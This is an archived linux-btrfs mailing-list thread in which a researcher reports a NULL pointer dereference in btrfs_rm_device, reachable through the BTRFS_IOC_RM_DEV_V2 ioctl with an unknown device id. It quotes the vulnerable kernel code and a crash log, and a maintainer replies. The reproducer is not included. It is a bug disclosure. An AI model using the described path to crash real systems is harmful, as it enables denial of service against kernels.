> Fortunately, invoking this function requires ‘CAP_SYS_ADMIN’ advanced
> permissions.
>
> Ok, let us see the code as follows:
> btrfs_ioctl_rm_dev_v2
> ``````
> static long btrfs_ioctl_rm_dev_v2(struct file *file, void __user *arg)
> {
>          struct inode *inode = file_inode(file);
>          struct btrfs_fs_info *fs_info = btrfs_sb(inode->i_sb);
>          struct btrfs_ioctl_vol_args_v2 *vol_args;
>          int ret;
>          bool cancel = false;
>
>          if (!capable(CAP_SYS_ADMIN))   ///------------>  ‘CAP_SYS_ADMIN’  need
>                  return -EPERM;
>
>           ...
>
>          vol_args = memdup_user(arg, sizeof(*vol_args));  //
> -------------> copy a user data from 'arg' to vol_args.
>          if (IS_ERR(vol_args)) {
>                  ret = PTR_ERR(vol_args);
>                  goto err_drop;
>          }
>
>         ...
>
>                 if (vol_args->flags & BTRFS_DEVICE_SPEC_BY_ID)
> //---------------> here would judge vol_args->flags
>                  ret = btrfs_rm_device(fs_info, NULL, vol_args->devid);
>   // ------------->call btrfs_rm_device
>          else
>                  ret = btrfs_rm_device(fs_info, vol_args->name, 0);
>
> ````
>   if the vol_args->flags is  BTRFS_DEVICE_SPEC_BY_ID, it would  also
> call  btrfs_rm_device function,
> the second arg type is a pointer,but the second arg is NULL, the third
> arg is a id of volome device.
>
> Let us see the code as follows:
> btrfs_rm_device
> ````
> int btrfs_rm_device(struct btrfs_fs_info *fs_info, const char *device_path,
>                      u64 devid)
> {
>          struct btrfs_device *device;
>          struct btrfs_fs_devices *cur_devices;
>          struct btrfs_fs_devices *fs_devices = fs_info->fs_devices;
>          u64 num_devices;
>          int ret = 0;
>
>          mutex_lock(&uuid_mutex);
>
>          num_devices = btrfs_num_devices(fs_info);
>
>          ret = btrfs_check_raid_min_devices(fs_info, num_devices - 1);
>          if (ret)
>                  goto out;
>
>          device = btrfs_find_device_by_devspec(fs_info, devid,
> device_path); // ------------>  this function would get a volume
> device by devid.
>
>          if (IS_ERR(device)) {
>                  if (PTR_ERR(device) == -ENOENT &&
>                      strcmp(device_path, "missing") == 0)
> //-----------------> use device_path pointer,  but device_patch is
> NULL.
>                          ret = BTRFS_ERROR_DEV_MISSING_NOT_FOUND;
>                  else
>                          ret = PTR_ERR(device);
>                  goto out;
>          }
> ````
> btrfs_find_device_by_devspec would lookup  a volume device by devid,
> ```
>   * Lookup a device given by device id, or the path if the id is 0.
>   */
> struct btrfs_device *btrfs_find_device_by_devspec(
>                  struct btrfs_fs_info *fs_info, u64 devid,
>                  const char *device_path)
> {
>          struct btrfs_device *device;
>
>          if (devid) {
>                  device = btrfs_find_device(fs_info->fs_devices, devid, NULL,
>                                             NULL);
>                  if (!device)
>                          return ERR_PTR(-ENOENT);  // -----> if not
> lookup a device, it return -ENOENT error.
>                   return device;
>          }
>
>        ....
>
> ```
> After returning an -ENOENT error, it would call strcmp to compare
> device_path with 'missing'.
> As our previous analysis, device_path is NULL, it would  trigger a
> null-ptr-deref bug.
>
> crash log:
> root@syzkaller:/home/user# ./btrfs_rm_device
> [   46.204657][ T8385] loop0: detected capacity change from 0 to 32768
> [   46.218173][ T8385] BTRFS: device fsid
> 195aeaee-03bd-442f-8f6e-93f8f339d194 devid 1 transid 7 /dev/loop0
> scanned by btrfs_rm_device (8385)
> [   46.238597][ T8385] BTRFS info (device loop0): disabling tree log
> [   46.239838][ T8385] BTRFS info (device loop0): disk space caching is enabled
> [   46.241198][ T8385] BTRFS info (device loop0): has skinny extents
> [   46.253597][ T8385] BTRFS info (device loop0): enabling ssd optimizations
> [   46.286692][ T8385] BUG: kernel NULL pointer dereference, address:
> 0000000000000000
> [   46.288135][ T8385] #PF: supervisor read access in kernel mode
> [   46.289222][ T8385] #PF: error_code(0x0000) - not-present page
> [   46.290308][ T8385] PGD 4618d067 P4D 4618d067 PUD 4616b067 PMD 0
> [   46.291469][ T8385] Oops: 0000 [#1] PREEMPT SMP
> [   46.292247][ T8385] CPU: 0 PID: 8385 Comm: btrfs_rm_device Not
> tainted 5.14.0-rc4+ #4
> [   46.293485][ T8385] Hardware name: QEMU Standard PC (i440FX + PIIX,
> 1996), BIOS 1.13.0-1ubuntu1 04/01/2014
> [   46.295205][ T8385] RIP: 0010:btrfs_rm_device+0x487/0x6d0
> [   46.296136][ T8385] Code: fe 74 18 45 89 f4 e9 91 fd ff ff 48 89 df
> 45 89 ec e8 bd e3 f9 ff e9 2f ff ff ff 48 c7 c7 6a d1 a2 84 b9 08 00
> 00 00 4c 89 ee <f3>b
> [   46.299535][ T8385] RSP: 0018:ffffc9000560bd90 EFLAGS: 00010246
> [   46.300588][ T8385] RAX: fffffffffffffffe RBX: 0000000000000000
> RCX: 0000000000000008
> [   46.301961][ T8385] RDX: fffffffffffffffe RSI: 0000000000000000
> RDI: ffffffff84a2d16a
> [   46.303374][ T8385] RBP: ffff88804939c000 R08: ffff888013010600
> R09: 0000000000000001
> [   46.304793][ T8385] R10: 0000000000000001 R11: 00000000001357f7
> R12: 0000000000000008
> [   46.306238][ T8385] R13: 0000000000000000 R14: fffffffffffffffe
> R15: ffffffff83d8c123
> [   46.307614][ T8385] FS:  000000000214a880(0000)
> GS:ffff88803ec00000(0000) knlGS:0000000000000000
> [   46.308999][ T8385] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [   46.310141][ T8385] CR2: 0000000000000000 CR3: 0000000046200000
> CR4: 00000000000006f0
> [   46.311604][ T8385] Call Trace:
> [   46.312123][ T8385]  btrfs_ioctl+0xba8/0x31b0
> [   46.312821][ T8385]  ? __x64_sys_ioctl+0x7b/0xb0
> [   46.313655][ T8385]  __x64_sys_ioctl+0x7b/0xb0
> [   46.314460][ T8385]  do_syscall_64+0x35/0xb0
> [   46.315454][ T8385]  entry_SYSCALL_64_after_hwframe+0x44/0xae
> [   46.316501][ T8385] RIP: 0033:0x44f51d
> [   46.317178][ T8385] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
> 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
> 4c 24 08 0f 05 <48>8
> [   46.320656][ T8385] RSP: 002b:00007ffc361763e8 EFLAGS: 00000283
> ORIG_RAX: 0000000000000010
> [   46.321991][ T8385] RAX: ffffffffffffffda RBX: 0000000000400530
> RCX: 000000000044f51d
> [   46.323410][ T8385] RDX: 0000000020001d80 RSI: 000000005000943a
> RDI: 0000000000000005
> [   46.324773][ T8385] RBP: 00007ffc36176400 R08: 0000000020001db0
> R09: 0000000000000000
> [   46.326029][ T8385] R10: 0000000000000000 R11: 0000000000000283
> R12: 00000000004042a0
> [   46.327388][ T8385] R13: 0000000000000000 R14: 00000000004ca018
> R15: 0000000000000000
> [   46.328775][ T8385] Modules linked in:
> [   46.329458][ T8385] CR2: 0000000000000000
> [   46.330389][ T8385] ---[ end trace 1cb21b999dbc3d91 ]---
> [   46.331249][ T8385] RIP: 0010:btrfs_rm_device+0x487/0x6d0
> [   46.332180][ T8385] Code: fe 74 18 45 89 f4 e9 91 fd ff ff 48 89 df
> 45 89 ec e8 bd e3 f9 ff e9 2f ff ff ff 48 c7 c7 6a d1 a2 84 b9 08 00
> 00 00 4c 89 ee <f3>b
> [   46.335928][ T8385] RSP: 0018:ffffc9000560bd90 EFLAGS: 00010246
> [   46.337120][ T8385] RAX: fffffffffffffffe RBX: 0000000000000000
> RCX: 0000000000000008
> [   46.338710][ T8385] RDX: fffffffffffffffe RSI: 0000000000000000
> RDI: ffffffff84a2d16a
> [   46.340164][ T8385] RBP: ffff88804939c000 R08: ffff888013010600
> R09: 0000000000000001
> [   46.341611][ T8385] R10: 0000000000000001 R11: 00000000001357f7
> R12: 0000000000000008
> [   46.343055][ T8385] R13: 0000000000000000 R14: fffffffffffffffe
> R15: ffffffff83d8c123
> [   46.344521][ T8385] FS:  000000000214a880(0000)
> GS:ffff88803ec00000(0000) knlGS:0000000000000000
> [   46.346265][ T8385] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [   46.347470][ T8385] CR2: 0000000000000000 CR3: 0000000046200000
> CR4: 00000000000006f0
> [   46.348918][ T8385] Kernel panic - not syncing: Fatal exception
> [   46.350160][ T8385] Kernel Offset: disabled
> [   46.350978][ T8385] Rebooting in 86400 seconds..
>
> the attachment is reproduce.

Awesome analyse and reproducer.

>
> Regards,
>     butt3rflyh4ck.
>
BTW, would you like us to use "butt3rflyh4ck" as reported-by user name?

Normally we use real names for reported-by, not sure if "butt3rflyh4ck"
would work here.
(Awesome hacky ID though)

Thanks,
Qu

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: A null-ptr-dereference bug in btrfs_rm_device in fs/btrfs/volumes.c
  2021-08-06  9:59 ` Qu Wenruo
@ 2021-08-07  6:00   ` butt3rflyh4ck
  0 siblings, 0 replies; 3+ messages in thread
From: butt3rflyh4ck @ 2021-08-07  6:00 UTC (permalink / raw)
  To: Qu Wenruo; +Cc: clm, Josef Bacik, dsterba, linux-btrfs

Yes, please do.

Regards,
 butt3rflyh4ck.

On Fri, Aug 6, 2021 at 5:59 PM Qu Wenruo <quwenruo.btrfs@gmx.com> wrote:
>
>
>
> On 2021/8/6 下午5:52, butt3rflyh4ck wrote:
> > Hello, there is a null pointer dereference bug in the btrfs_rm_device
> > function in fs/btrfs/volumes.c.
> > When a user invokes a BTRFS_IOC_RM_DEV_V2 ioctl to remove a volume device,
> > it would call btrfs_ioctl_rm_dev_v2 function to implement. And
> > btrfs_ioctl_rm_dev_v2 would call btrfs_rm_device,
> > if the id of the volume device is illegal, it would trigger a
> > null-ptr-deref bug to cause DoS.
> > Fortunately, invoking this function requires ‘CAP_SYS_ADMIN’ advanced
> > permissions.
> >
> > Ok, let us see the code as follows:
> > btrfs_ioctl_rm_dev_v2
> > ``````
> > static long btrfs_ioctl_rm_dev_v2(struct file *file, void __user *arg)
> > {
> >          struct inode *inode = file_inode(file);
> >          struct btrfs_fs_info *fs_info = btrfs_sb(inode->i_sb);
> >          struct btrfs_ioctl_vol_args_v2 *vol_args;
> >          int ret;
> >          bool cancel = false;
> >
> >          if (!capable(CAP_SYS_ADMIN))   ///------------>  ‘CAP_SYS_ADMIN’  need
> >                  return -EPERM;
> >
> >           ...
> >
> >          vol_args = memdup_user(arg, sizeof(*vol_args));  //
> > -------------> copy a user data from 'arg' to vol_args.
> >          if (IS_ERR(vol_args)) {
> >                  ret = PTR_ERR(vol_args);
> >                  goto err_drop;
> >          }
> >
> >         ...
> >
> >                 if (vol_args->flags & BTRFS_DEVICE_SPEC_BY_ID)
> > //---------------> here would judge vol_args->flags
> >                  ret = btrfs_rm_device(fs_info, NULL, vol_args->devid);
> >   // ------------->call btrfs_rm_device
> >          else
> >                  ret = btrfs_rm_device(fs_info, vol_args->name, 0);
> >
> > ````
> >   if the vol_args->flags is  BTRFS_DEVICE_SPEC_BY_ID, it would  also
> > call  btrfs_rm_device function,
> > the second arg type is a pointer,but the second arg is NULL, the third
> > arg is a id of volome device.
> >
> > Let us see the code as follows:
> > btrfs_rm_device
> > ````
> > int btrfs_rm_device(struct btrfs_fs_info *fs_info, const char *device_path,
> >                      u64 devid)
> > {
> >          struct btrfs_device *device;
> >          struct btrfs_fs_devices *cur_devices;
> >          struct btrfs_fs_devices *fs_devices = fs_info->fs_devices;
> >          u64 num_devices;
> >          int ret = 0;
> >
> >          mutex_lock(&uuid_mutex);
> >
> >          num_devices = btrfs_num_devices(fs_info);
> >
> >          ret = btrfs_check_raid_min_devices(fs_info, num_devices - 1);
> >          if (ret)
> >                  goto out;
> >
> >          device = btrfs_find_device_by_devspec(fs_info, devid,
> > device_path); // ------------>  this function would get a volume
> > device by devid.
> >
> >          if (IS_ERR(device)) {
> >                  if (PTR_ERR(device) == -ENOENT &&
> >                      strcmp(device_path, "missing") == 0)
> > //-----------------> use device_path pointer,  but device_patch is
> > NULL.
> >                          ret = BTRFS_ERROR_DEV_MISSING_NOT_FOUND;
> >                  else
> >                          ret = PTR_ERR(device);
> >                  goto out;
> >          }
> > ````
> > btrfs_find_device_by_devspec would lookup  a volume device by devid,
> > ```
> >   * Lookup a device given by device id, or the path if the id is 0.
> >   */
> > struct btrfs_device *btrfs_find_device_by_devspec(
> >                  struct btrfs_fs_info *fs_info, u64 devid,
> >                  const char *device_path)
> > {
> >          struct btrfs_device *device;
> >
> >          if (devid) {
> >                  device = btrfs_find_device(fs_info->fs_devices, devid, NULL,
> >                                             NULL);
> >                  if (!device)
> >                          return ERR_PTR(-ENOENT);  // -----> if not
> > lookup a device, it return -ENOENT error.
> >                   return device;
> >          }
> >
> >        ....
> >
> > ```
> > After returning an -ENOENT error, it would call strcmp to compare
> > device_path with 'missing'.
> > As our previous analysis, device_path is NULL, it would  trigger a
> > null-ptr-deref bug.
> >
> > crash log:
> > root@syzkaller:/home/user# ./btrfs_rm_device
> > [   46.204657][ T8385] loop0: detected capacity change from 0 to 32768
> > [   46.218173][ T8385] BTRFS: device fsid
> > 195aeaee-03bd-442f-8f6e-93f8f339d194 devid 1 transid 7 /dev/loop0
> > scanned by btrfs_rm_device (8385)
> > [   46.238597][ T8385] BTRFS info (device loop0): disabling tree log
> > [   46.239838][ T8385] BTRFS info (device loop0): disk space caching is enabled
> > [   46.241198][ T8385] BTRFS info (device loop0): has skinny extents
> > [   46.253597][ T8385] BTRFS info (device loop0): enabling ssd optimizations
> > [   46.286692][ T8385] BUG: kernel NULL pointer dereference, address:
> > 0000000000000000
> > [   46.288135][ T8385] #PF: supervisor read access in kernel mode
> > [   46.289222][ T8385] #PF: error_code(0x0000) - not-present page
> > [   46.290308][ T8385] PGD 4618d067 P4D 4618d067 PUD 4616b067 PMD 0
> > [   46.291469][ T8385] Oops: 0000 [#1] PREEMPT SMP
> > [   46.292247][ T8385] CPU: 0 PID: 8385 Comm: btrfs_rm_device Not
> > tainted 5.14.0-rc4+ #4
> > [   46.293485][ T8385] Hardware name: QEMU Standard PC (i440FX + PIIX,
> > 1996), BIOS 1.13.0-1ubuntu1 04/01/2014
> > [   46.295205][ T8385] RIP: 0010:btrfs_rm_device+0x487/0x6d0
> > [   46.296136][ T8385] Code: fe 74 18 45 89 f4 e9 91 fd ff ff 48 89 df
> > 45 89 ec e8 bd e3 f9 ff e9 2f ff ff ff 48 c7 c7 6a d1 a2 84 b9 08 00
> > 00 00 4c 89 ee <f3>b
> > [   46.299535][ T8385] RSP: 0018:ffffc9000560bd90 EFLAGS: 00010246
> > [   46.300588][ T8385] RAX: fffffffffffffffe RBX: 0000000000000000
> > RCX: 0000000000000008
> > [   46.301961][ T8385] RDX: fffffffffffffffe RSI: 0000000000000000
> > RDI: ffffffff84a2d16a
> > [   46.303374][ T8385] RBP: ffff88804939c000 R08: ffff888013010600
> > R09: 0000000000000001
> > [   46.304793][ T8385] R10: 0000000000000001 R11: 00000000001357f7
> > R12: 0000000000000008
> > [   46.306238][ T8385] R13: 0000000000000000 R14: fffffffffffffffe
> > R15: ffffffff83d8c123
> > [   46.307614][ T8385] FS:  000000000214a880(0000)
> > GS:ffff88803ec00000(0000) knlGS:0000000000000000
> > [   46.308999][ T8385] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [   46.310141][ T8385] CR2: 0000000000000000 CR3: 0000000046200000
> > CR4: 00000000000006f0
> > [   46.311604][ T8385] Call Trace:
> > [   46.312123][ T8385]  btrfs_ioctl+0xba8/0x31b0
> > [   46.312821][ T8385]  ? __x64_sys_ioctl+0x7b/0xb0
> > [   46.313655][ T8385]  __x64_sys_ioctl+0x7b/0xb0
> > [   46.314460][ T8385]  do_syscall_64+0x35/0xb0
> > [   46.315454][ T8385]  entry_SYSCALL_64_after_hwframe+0x44/0xae
> > [   46.316501][ T8385] RIP: 0033:0x44f51d
> > [   46.317178][ T8385] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
> > 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
> > 4c 24 08 0f 05 <48>8
> > [   46.320656][ T8385] RSP: 002b:00007ffc361763e8 EFLAGS: 00000283
> > ORIG_RAX: 0000000000000010
> > [   46.321991][ T8385] RAX: ffffffffffffffda RBX: 0000000000400530
> > RCX: 000000000044f51d
> > [   46.323410][ T8385] RDX: 0000000020001d80 RSI: 000000005000943a
> > RDI: 0000000000000005
> > [   46.324773][ T8385] RBP: 00007ffc36176400 R08: 0000000020001db0
> > R09: 0000000000000000
> > [   46.326029][ T8385] R10: 0000000000000000 R11: 0000000000000283
> > R12: 00000000004042a0
> > [   46.327388][ T8385] R13: 0000000000000000 R14: 00000000004ca018
> > R15: 0000000000000000
> > [   46.328775][ T8385] Modules linked in:
> > [   46.329458][ T8385] CR2: 0000000000000000
> > [   46.330389][ T8385] ---[ end trace 1cb21b999dbc3d91 ]---
> > [   46.331249][ T8385] RIP: 0010:btrfs_rm_device+0x487/0x6d0
> > [   46.332180][ T8385] Code: fe 74 18 45 89 f4 e9 91 fd ff ff 48 89 df
> > 45 89 ec e8 bd e3 f9 ff e9 2f ff ff ff 48 c7 c7 6a d1 a2 84 b9 08 00
> > 00 00 4c 89 ee <f3>b
> > [   46.335928][ T8385] RSP: 0018:ffffc9000560bd90 EFLAGS: 00010246
> > [   46.337120][ T8385] RAX: fffffffffffffffe RBX: 0000000000000000
> > RCX: 0000000000000008
> > [   46.338710][ T8385] RDX: fffffffffffffffe RSI: 0000000000000000
> > RDI: ffffffff84a2d16a
> > [   46.340164][ T8385] RBP: ffff88804939c000 R08: ffff888013010600
> > R09: 0000000000000001
> > [   46.341611][ T8385] R10: 0000000000000001 R11: 00000000001357f7
> > R12: 0000000000000008
> > [   46.343055][ T8385] R13: 0000000000000000 R14: fffffffffffffffe
> > R15: ffffffff83d8c123
> > [   46.344521][ T8385] FS:  000000000214a880(0000)
> > GS:ffff88803ec00000(0000) knlGS:0000000000000000
> > [   46.346265][ T8385] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [   46.347470][ T8385] CR2: 0000000000000000 CR3: 0000000046200000
> > CR4: 00000000000006f0
> > [   46.348918][ T8385] Kernel panic - not syncing: Fatal exception
> > [   46.350160][ T8385] Kernel Offset: disabled
> > [   46.350978][ T8385] Rebooting in 86400 seconds..
> >
> > the attachment is reproduce.
>
> Awesome analyse and reproducer.
>
> >
> > Regards,
> >     butt3rflyh4ck.
> >
> BTW, would you like us to use "butt3rflyh4ck" as reported-by user name?
>
> Normally we use real names for reported-by, not sure if "butt3rflyh4ck"
> would work here.
> (Awesome hacky ID though)
>
> Thanks,
> Qu



-- 
Active Defense Lab of Venustech

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2021-08-07  6:00 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2021-08-06  9:52 A null-ptr-dereference bug in btrfs_rm_device in fs/btrfs/volumes.c butt3rflyh4ck
2021-08-06  9:59 ` Qu Wenruo
2021-08-07  6:00   ` butt3rflyh4ck

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).